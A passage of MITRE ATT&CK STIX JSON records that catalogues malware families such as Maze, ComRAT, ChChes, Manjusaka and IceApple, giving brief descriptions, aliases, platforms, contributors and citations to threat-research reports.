November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/"},{"source_name":"Njw0rm","description":"Some sources have discussed Njw0rm as a later variant of [njRAT](https://attack.mitre.org/software/S0385), where Njw0rm adds the ability to spread via removable devices such as USB drives.(Citation: FireEye Njw0rm Aug 2013) Other sources contain that functionality in their description of [njRAT](https://attack.mitre.org/software/S0385) itself.(Citation: Fidelis njRAT June 2013)(Citation: Trend Micro njRAT 2018)"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-03-01T19:26:04.144Z","name":"ZIPLINE","description":"[ZIPLINE](https://attack.mitre.org/software/S1114) is a passive backdoor that was used during [Cutting Edge](https://attack.mitre.org/campaigns/C0029) on compromised Secure Connect VPNs for reverse shell and proxy functionality.(Citation: Mandiant Cutting Edge January 2024)","x_mitre_platforms":["Network"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_aliases":["ZIPLINE"],"type":"malware","id":"malware--d9765cbd-4c88-4805-ba98-4c6ccb56b864","created":"2024-03-01T19:25:32.551Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1114","external_id":"S1114"},{"source_name":"Mandiant Cutting Edge January 2024","description":"McLellan, T. et al. (2024, January 12). Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Center for Threat-Informed Defense (CTID)","SarathKumar Rajendran, Trimble Inc"],"x_mitre_aliases":["Maze"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--d9f7383c-95ec-4080-bbce-121c9384457b","type":"malware","created":"2020-05-18T16:17:59.464Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0449","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0449"},{"source_name":"FireEye Maze May 2020","url":"https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html","description":"Kennelly, J., Goody, K., Shilko, J. (2020, May 7). Navigating the MAZE: Tactics, Techniques and Procedures Associated With MAZE Ransomware Incidents. Retrieved May 18, 2020."},{"source_name":"McAfee Maze March 2020","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/","description":"Mundo, A. (2020, March 26). Ransomware Maze. Retrieved May 18, 2020."},{"source_name":"Sophos Maze VM September 2020","url":"https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/","description":"Brandt, A., Mackenzie, P.. (2020, September 17). Maze Attackers Adopt Ragnar Locker Virtual Machine Technique. Retrieved October 9, 2020."}],"modified":"2022-01-24T17:01:08.605Z","name":"Maze","description":"[Maze](https://attack.mitre.org/software/S0449) ransomware, previously known as \"ChaCha\", was discovered in May 2019. In addition to encrypting files on victim machines for impact, [Maze](https://attack.mitre.org/software/S0449) operators conduct information stealing campaigns prior to encryption and post the information online to extort affected companies.(Citation: FireEye Maze May 2020)(Citation: McAfee Maze March 2020)(Citation: Sophos Maze VM September 2020)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Christopher Glyer, Mandiant, @cglyer"],"x_mitre_aliases":["BOOTRASH"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--da2ef4a9-7cbe-400a-a379-e2f230f28db3","type":"malware","created":"2017-05-31T21:33:08.292Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0114","external_id":"S0114"},{"source_name":"Mandiant M Trends 2016","url":"https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf","description":"Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved March 5, 2019."},{"url":"https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html","description":"Andonov, D., et al. (2015, December 7). Thriving Beyond The Operating System: Financial Threat Group Targets Volume Boot Record. Retrieved May 13, 2016.","source_name":"FireEye Bootkits"},{"source_name":"FireEye BOOTRASH SANS","url":"https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1498163766.pdf","description":"Glyer, C.. (2017, June 22). Boot What?. Retrieved May 4, 2020."}],"modified":"2021-06-09T18:58:41.760Z","name":"BOOTRASH","description":"[BOOTRASH](https://attack.mitre.org/software/S0114) is a [Bootkit](https://attack.mitre.org/techniques/T1542/003) that targets Windows operating systems. It has been used by threat actors that target the financial sector.(Citation: Mandiant M Trends 2016)(Citation: FireEye Bootkits)(Citation: FireEye BOOTRASH SANS)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-22T03:30:00.985Z","name":"ComRAT","description":"[ComRAT](https://attack.mitre.org/software/S0126) is a second stage implant suspected of being a descendant of [Agent.btz](https://attack.mitre.org/software/S0092) and used by [Turla](https://attack.mitre.org/groups/G0010). The first version of [ComRAT](https://attack.mitre.org/software/S0126) was identified in 2007, but the tool has undergone substantial development for many years since.(Citation: Symantec Waterbug)(Citation: NorthSec 2015 GData Uroburos Tools)(Citation: ESET ComRAT May 2020)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.4","x_mitre_contributors":["Matthieu Faou, ESET"],"x_mitre_aliases":["ComRAT"],"type":"malware","id":"malware--da5880b4-f7da-4869-85f2-e0aba84b8565","created":"2017-05-31T21:33:13.252Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0126","external_id":"S0126"},{"source_name":"ESET ComRAT May 2020","description":"Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf"},{"source_name":"NorthSec 2015 GData Uroburos Tools","description":"Rascagneres, P. (2015, May). Tools used by the Uroburos actors. Retrieved August 18, 2016.","url":"https://docplayer.net/101655589-Tools-used-by-the-uroburos-actors.html"},{"source_name":"Symantec Waterbug","description":"Symantec. (2015, January 26). The Waterbug attack group. Retrieved April 10, 2015.","url":"https://www.threatminer.org/report.php?q=waterbug-attack-group.pdf&y=2015#gsc.tab=0&gsc.q=waterbug-attack-group.pdf&gsc.page=1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Christiaan Beek, @ChristiaanBeek","Ryan Becwar"],"x_mitre_aliases":["TURNEDUP"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--db1355a7-e5c9-4e2c-8da7-eccf2ae9bf5c","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0199","external_id":"S0199"},{"source_name":"TURNEDUP","description":"(Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)"},{"source_name":"FireEye APT33 Sept 2017","description":"O'Leary, J., et al. (2017, September 20). Insights into Iranian Cyber Espionage: APT33 Targets Aerospace and Energy Sectors and has Ties to Destructive Malware. Retrieved February 15, 2018.","url":"https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html"},{"source_name":"FireEye APT33 Webinar Sept 2017","description":"Davis, S. and Carr, N. (2017, September 21). APT33: New Insights into Iranian Cyber Espionage Group. Retrieved February 15, 2018.","url":"https://www.brighttalk.com/webcast/10703/275683"}],"modified":"2021-02-09T15:25:33.116Z","name":"TURNEDUP","description":"[TURNEDUP](https://attack.mitre.org/software/S0199) is a non-public backdoor. It has been dropped by [APT33](https://attack.mitre.org/groups/G0064)'s [StoneDrill](https://attack.mitre.org/software/S0380) malware. (Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-12T19:32:28.615Z","name":"ChChes","description":"[ChChes](https://attack.mitre.org/software/S0144) is a Trojan that appears to be used exclusively by [menuPass](https://attack.mitre.org/groups/G0045). It was used to target Japanese organizations in 2016. Its lack of persistence methods suggests it may be intended as a first-stage tool. (Citation: Palo Alto menuPass Feb 2017) (Citation: JPCERT ChChes Feb 2017) (Citation: PWC Cloud Hopper Technical Annex April 2017)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_aliases":["ChChes","Scorpion","HAYMAKER"],"type":"malware","id":"malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e","created":"2017-05-31T21:33:22.451Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0144","external_id":"S0144"},{"source_name":"ChChes","description":"(Citation: Palo Alto menuPass Feb 2017) (Citation: JPCERT ChChes Feb 2017) (Citation: PWC Cloud Hopper Technical Annex April 2017)"},{"source_name":"Scorpion","description":"(Citation: PWC Cloud Hopper Technical Annex April 2017)"},{"source_name":"HAYMAKER","description":"Based on similarities in reported malware behavior and open source reporting, it is assessed that the malware named HAYMAKER by FireEye is likely the same as the malware ChChes. (Citation: FireEye APT10 April 2017) (Citation: Twitter Nick Carr APT10)"},{"source_name":"Twitter Nick Carr APT10","description":"Carr, N.. (2017, April 6). Retrieved September 12, 2024.","url":"https://x.com/ItsReallyNick/status/850105140589633536"},{"source_name":"FireEye APT10 April 2017","description":"FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html"},{"source_name":"Palo Alto menuPass Feb 2017","description":"Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.","url":"http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/"},{"source_name":"JPCERT ChChes Feb 2017","description":"Nakamura, Y.. (2017, February 17). ChChes - Malware that Communicates with C&C Servers Using Cookie Headers. Retrieved March 1, 2017.","url":"http://blog.jpcert.or.jp/2017/02/chches-malware--93d6.html"},{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["PowerStallion"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--dcac85c1-6485-4790-84f6-de5e6f6b91dd","type":"malware","created":"2019-06-21T17:23:27.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0393","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0393"},{"source_name":"ESET Turla PowerShell May 2019","url":"https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/","description":"Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019."}],"modified":"2021-02-09T14:05:19.246Z","name":"PowerStallion","description":"[PowerStallion](https://attack.mitre.org/software/S0393) is a lightweight [PowerShell](https://attack.mitre.org/techniques/T1059/001) backdoor used by [Turla](https://attack.mitre.org/groups/G0010), possibly as a recovery access tool to install other backdoors.(Citation: ESET Turla PowerShell May 2019)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-09-29T18:11:31.659Z","name":"ANDROMEDA","description":"[ANDROMEDA](https://attack.mitre.org/software/S1074) is commodity malware that was widespread in the early 2010's and continues to be observed in infections across a wide variety of industries. During the 2022 [C0026](https://attack.mitre.org/campaigns/C0026) campaign, threat actors re-registered expired [ANDROMEDA](https://attack.mitre.org/software/S1074) C2 domains to spread malware to select targets in Ukraine.(Citation: Mandiant Suspected Turla Campaign February 2023)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["Yoshihiro Kori, NEC Corporation","Manikantan Srinivasan, NEC Corporation India","Pooja Natarajan, NEC Corporation India"],"x_mitre_aliases":["ANDROMEDA"],"type":"malware","id":"malware--dcd9548e-df9e-47c2-81f3-bc084289959d","created":"2023-05-16T19:24:37.394Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1074","external_id":"S1074"},{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-06T18:11:40.228Z","name":"Manjusaka","description":"[Manjusaka](https://attack.mitre.org/software/S1156) is a Chinese-language intrusion framework, similar to [Sliver](https://attack.mitre.org/software/S0633) and [Cobalt Strike](https://attack.mitre.org/software/S0154), with an ELF binary written in GoLang as the controller for Windows and Linux implants written in Rust. First identified in 2022, [Manjusaka](https://attack.mitre.org/software/S1156) consists of multiple components, only one of which (a command and control module) is freely available.(Citation: Talos Manjusaka 2022)","x_mitre_platforms":["Linux","Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_contributors":["Subhash Thapa"],"x_mitre_aliases":["Manjusaka"],"type":"malware","id":"malware--dd2ad3d7-d7ef-4af5-a919-bfe8f2571705","created":"2024-09-04T18:15:43.225Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1156","external_id":"S1156"},{"source_name":"Talos Manjusaka 2022","description":"Asheer Malhotra & Vitor Ventura. (2022, August 2). Manjusaka: A Chinese sibling of Sliver and Cobalt Strike. Retrieved September 4, 2024.","url":"https://blog.talosintelligence.com/manjusaka-offensive-framework/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-22T04:45:42.926Z","name":"IceApple","description":"[IceApple](https://attack.mitre.org/software/S1022) is a modular Internet Information Services (IIS) post-exploitation framework, that has been used since at least 2021 against the technology, academic, and government sectors.(Citation: CrowdStrike IceApple May 2022)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_contributors":["Raphaël Lheureux"],"x_mitre_aliases":["IceApple"],"type":"malware","id":"malware--dd889a55-fb2c-4ec7-8e9f-c399939a49e1","created":"2022-06-27T15:22:22.979Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1022","external_id":"S1022"},{"source_name":"CrowdStrike IceApple May 2022","description":"CrowdStrike. (2022, May). ICEAPPLE: A NOVEL INTERNET INFORMATION SERVICES (IIS) POST-EXPLOITATION FRAMEWORK. Retrieved June 27, 2022.","url":"https://www.crowdstrike.com/wp-content/uploads/2022/05/crowdstrike-iceapple-a-novel-internet-information-services-post-exploitation-framework.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Ryan Becwar"],"x_mitre_aliases":["JPIN"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--de6cb631-52f6-4169-a73b-7965390b0c30","type":"malware","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0201","external_id":"S0201"},{"source_name":"JPIN","description":"(Citation: Microsoft PLATINUM April 2016)"},{"source_name":"Microsoft PLATINUM April 2016","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}],"modified":"2020-08-11T19:44:31.363Z","name":"JPIN","description":"[JPIN](https://attack.mitre.org/software/S0201) is a custom-built backdoor family used by [PLATINUM](https://attack.mitre.org/groups/G0068). Evidence suggests developers of [JPIN](https://attack.mitre.org/software/S0201) and [Dipsind](https://attack.mitre.org/software/S0200) code bases were related in some way. (Citation: Microsoft PLATINUM April 2016)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T00:45:31.029Z","name":"metaMain","description":"[metaMain](https://attack.mitre.org/software/S1059) is a backdoor used by [Metador](https://attack.mitre.org/groups/G1013) to maintain long-term access to compromised machines; it has also been used to decrypt [Mafalda](https://attack.mitre.org/software/S1060) into memory.(Citation: SentinelLabs Metador Sept 2022)(Citation: SentinelLabs Metador Technical Appendix Sept 2022)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_contributors":["Massimiliano Romano, BT Security"],"x_mitre_aliases":["metaMain"],"type":"malware","id":"malware--df350889-4de9-44e5-8cb3-888b8343e97c","created":"2023-01-24T00:12:34.751Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1059","external_id":"S1059"},{"source_name":"SentinelLabs Metador Sept 2022","description":"Ehrlich, A., et al. (2022, September). THE MYSTERY OF METADOR | AN UNATTRIBUTED THREAT HIDING IN TELCOS, ISPS, AND UNIVERSITIES. Retrieved January 23, 2023.","url":"https://assets.sentinelone.com/sentinellabs22/metador#page=1"},{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["SideTwist"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--df4cd566-ff2f-4d08-976d-8c86e95782de","type":"malware","created":"2021-05-06T14:44:50.494Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0610","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0610"},{"source_name":"Check Point APT34 April 2021","url":"https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/","description":"Check Point. (2021, April 8). Iran’s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021."}],"modified":"2021-10-13T13:53:26.301Z","name":"SideTwist","description":"[SideTwist](https://attack.mitre.org/software/S0610) is a C-based backdoor that has been used by [OilRig](https://attack.mitre.org/groups/G0049) since at least 2021.(Citation: Check Point APT34 April 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-22T04:47:58.740Z","name":"KOCTOPUS","description":"[KOCTOPUS](https://attack.mitre.org/software/S0669)'s batch variant is loader used by [LazyScripter](https://attack.mitre.org/groups/G0140) since 2018 to launch [Octopus](https://attack.mitre.org/software/S0340) and [Koadic](https://attack.mitre.org/software/S0250) and, in some cases, [QuasarRAT](https://attack.mitre.org/software/S0262). [KOCTOPUS](https://attack.mitre.org/software/S0669) also has a VBA variant that has the same functionality as the batch version.(Citation: MalwareBytes LazyScripter Feb 2021)","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.2","x_mitre_aliases":["KOCTOPUS"],"type":"malware","id":"malware--df9b350b-d4f9-4e79-a826-75cc75fbc1eb","created":"2021-12-06T22:38:37.418Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0669","external_id":"S0669"},{"source_name":"KOCTOPUS","description":"(Citation: MalwareBytes LazyScripter Feb 2021)"},{"source_name":"MalwareBytes LazyScripter Feb 2021","description":"Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021.","url":"https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["MechaFlounder"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--dfa03c7d-79ed-4ce2-b9d1-ddc9dbf56ad2","type":"malware","created":"2020-05-27T19:05:29.386Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0459","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0459"},{"source_name":"Unit 42 MechaFlounder March 2019","url":"https://unit42.paloaltonetworks.com/new-python-based-payload-mechaflounder-used-by-chafer/","description":"Falcone, R. (2019, March 4). New Python-Based Payload MechaFlounder Used by Chafer. Retrieved May 27, 2020."}],"modified":"2020-05-28T16:19:14.488Z","name":"MechaFlounder","description":"[MechaFlounder](https://attack.mitre.org/software/S0459) is a python-based remote access tool (RAT) that has been used by [APT39](https://attack.mitre.org/groups/G0087). The payload uses a combination of actor developed code and code snippets freely available online in development communities.(Citation: Unit 42 MechaFlounder March 2019)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["Psylo"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--dfb5fa9b-3051-4b97-8035-08f80aef945b","type":"malware","created":"2017-05-31T21:32:53.268Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0078","external_id":"S0078"},{"source_name":"Scarlet Mimic Jan 2016","description":"Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.","url":"http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"}],"modified":"2020-03-30T17:23:59.127Z","name":"Psylo","description":"[Psylo](https://attack.mitre.org/software/S0078) is a shellcode-based Trojan that has been used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029). It has similar characteristics as [FakeM](https://attack.mitre.org/software/S0076). (Citation: Scarlet Mimic Jan 2016)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-11T02:20:55.694Z","name":"Heyoka Backdoor","description":"[Heyoka Backdoor](https://attack.mitre.org/software/S1027) is a custom backdoor--based on the Heyoka open source exfiltration tool--that has been used by [Aoqin Dragon](https://attack.mitre.org/groups/G1007) since at least 2013.(Citation: SentinelOne Aoqin Dragon June 2022)(Citation: Sourceforge Heyoka 2022) ","x_mitre_platforms":["Windows"],"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.1","x_mitre_contributors":["Hiroki Nagahama, NEC Corporation","Pooja Natarajan, NEC Corporation India","Manikantan Srinivasan, NEC Corporation India"],"x_mitre_aliases":["Heyoka Backdoor"],"type":"malware","id":"malware--dff90475-9f72-41a6-84ed-1fbefd3874c0","created":"2022-07-25T18:18:32.811Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S1027","external_id":"S1027"},{"source_name":"SentinelOne Aoqin Dragon June 2022","description":"Chen, Joey. (2022, June 9). Aoqin Dragon | Newly-Discovered Chinese-linked APT Has Been Quietly Spying On Organizations For 10 Years. Retrieved July 14, 2022.","url":"https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/"},{"source_name":"Sourceforge Heyoka 2022","description":"Sourceforge. (n.d.). Heyoka POC Exfiltration Tool. Retrieved October 11, 2022.","url":"https://heyoka.sourceforge.net/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"labels":["malware"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_aliases":["HTTPBrowser","Token Control","HttpDump"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--e066bf86-9cfb-407a-9d25-26fd5d91e360","type":"malware","created":"2017-05-31T21:32:46.445Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0070","external_id":"S0070"},{"source_name":"HttpDump","description":"(Citation: ThreatConnect Anthem)"},{"url":"https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop","description":"Shelmire, A.. (2015, July 6). Evasive Maneuvers. Retrieved January 22, 2016.","source_name":"ThreatStream Evasion Analysis"},{"source_name":"Dell TG-3390","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets 